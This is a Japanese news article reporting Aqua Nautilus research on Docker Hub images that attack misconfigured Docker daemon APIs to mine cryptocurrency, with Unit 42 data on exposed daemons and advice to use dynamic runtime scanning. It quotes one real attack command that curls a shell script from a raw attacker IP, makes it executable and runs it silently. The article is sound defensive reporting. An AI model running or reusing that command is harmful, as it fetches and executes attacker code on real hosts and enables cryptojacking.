Aquaのサイバーセキュリティ調査チーム‘Nautilus'が、クラウドネイティブ環境をターゲットとして、暗号通貨のマイニングにDockerイメージを使用する、新たな攻撃テクニックの存在を確認した。
この攻撃は、イメージレイヤ内に隠れたPUA(Potentially Unwanted Application)を持っているか、あるいは検出回避のためインスタンス化されたコンテナの実行中にPUAをダウンロードしたコンテナイメージによって、不適切にオープンされたDocker Daemon APIを狙うものだ。チームがさらに調査した結果、Docker Hub内に格納されている23のコンテナイメージのインフラストラクチャから、関連する33万件の悪意のあるイメージがプルされていることが明らかになった。
これらのアカウントにある新しいイメージは、防御回避やラテラルムーブメント(lateral movement)といった高度な手法を駆使して設計されており、セキュリティ脅威の進化とそのネットワークの能力の高さを示していた。Nautilusチームはこれらの脅威を、誤設定したDocker Dameon APIハニーポットへの攻撃を分析することで発見したのだ。
このような攻撃は、GitHubアカウントからシェルファイルをダウンロードするコマンドを使って、そのホストをターゲットにすることから始められる。ランタイム中にリモートソースから悪意のあるイメージをダウンロードすることで、発見される可能性を最小限に抑えている。
Nautilusチーム、Palo Alto Networks、その他のセキュリティ組織は、このような脅威と戦う方法として、動的な脅威スキャンを提案する。シグネチャに頼って脅威を識別するのではなく、実行時に何を行うかによってイメージを評価する必要があるからだ。疑いのあるファイルは仮想マシン内で実行され、その動作を分析した結果に基づいて評価する。
ubuntuz/jessy:latestイメージがAquaのハニーポッドを、2020年3月17日から6月3日の間に42回攻撃した
チームが誤設定したDocker Daemonへの攻撃は、コンテナがリモートソースからシェルファイルをダウンロードするコマンドを実行した時に開始された。
/bin/bash -c curl -o /opt/sh.sh http://45.95.168.103/sh.sh && chmod 777 /opt/sh.sh && /bin/bash /opt/sh.sh >/dev/null 2>&1 ; tail -f /dev/null
ペイロードには、パラメータをハードコードしたマイニングコマンドを実行する実行ファイルとリンク可能なフォーマット(ELF)のファイル(PUA)をダウンロードするように設計された、シェルスクリプトが含まれていた。さらにホストのIPアドレスを、感染したホストマシンを攻撃者が監視するために使用するIPLogger(IPアドレストラッカ)に送信していた。これがエントリポイントにあったコマンドだ。
チームが調査対象としたインフラストラクチャには、疑わしいコンテナイメージをホストする数十のDocker HubとGitHubアカウントが含まれている。チームは当初、疑わしいイメージをホストする7つのDocker Hubコミュニティメンバを明らかにしたが、その後の調査により、これらコンテナイメージ間のつながりと、さらに15のGitHubアカウントが確認された。これらすべてが、このインフラストラクチャのために用意されたものだと、チームは判断している。この構造によって攻撃者は、安全と考えられているリモートソースからコンテナ実行中にイメージをダウンロードして、ホスト上で実行することが可能になる。これらイメージのペイロードには、暗号通貨のマイニングを行うためのELFファイル、コンフィグレーションを含むJSONファイル、コマンドを実行するシェルスクリプトが含まれている。
この攻撃はセキュリティチームにとって、防御レイヤを重複させてインフラストラクチャを防御するという、現在の手法の持つ課題を強調するものだ。今年初め、Palo Alto Networkのセキュリティインテリジェンスチーム ‘Unit 42' は、安全でないDockerデーモンに関する独自調査の結果を公表した。2019年9月から12月にかけて、同チームでは、IoT検索エンジンのShodanとCensysを使って、インターネットに接続している5,000のDockerデーモンが存在することと、その10~15パーセントが認証なしでアクセス可能であることを確認した。Team Nautilusによる最新の発見は、攻撃者がこのギャップを積極的に利用していることを裏付けるものだ。
悪意のあるアクタがクリーンでバニラなイメージを使用して、ランタイム中に攻撃を構築するオペレーション方法が増えている、とTeam NautilusはInfoQに語っている。 これは、2、3のレイヤとコマンドを持って、レイヤのひとつに隠れてマイニングを実行していた数年前から変化した部分だ。イメージスキャンや、既知の疑わしいソースやレジストリとの通信を制限するという、一般的なセキュリティ手法を回避することで、攻撃者のインフラストラクチャの持続能力は向上している。さらに、イメージはどこにも保存されていないため、削除されることもない。しかも、イメージの名称や、場合によってはIDもランダムに生成されるので、各ホストでユニークなものになる可能性が高く、悪意のあるイメージやソースを特定する制限リストでは捕捉できないのだ。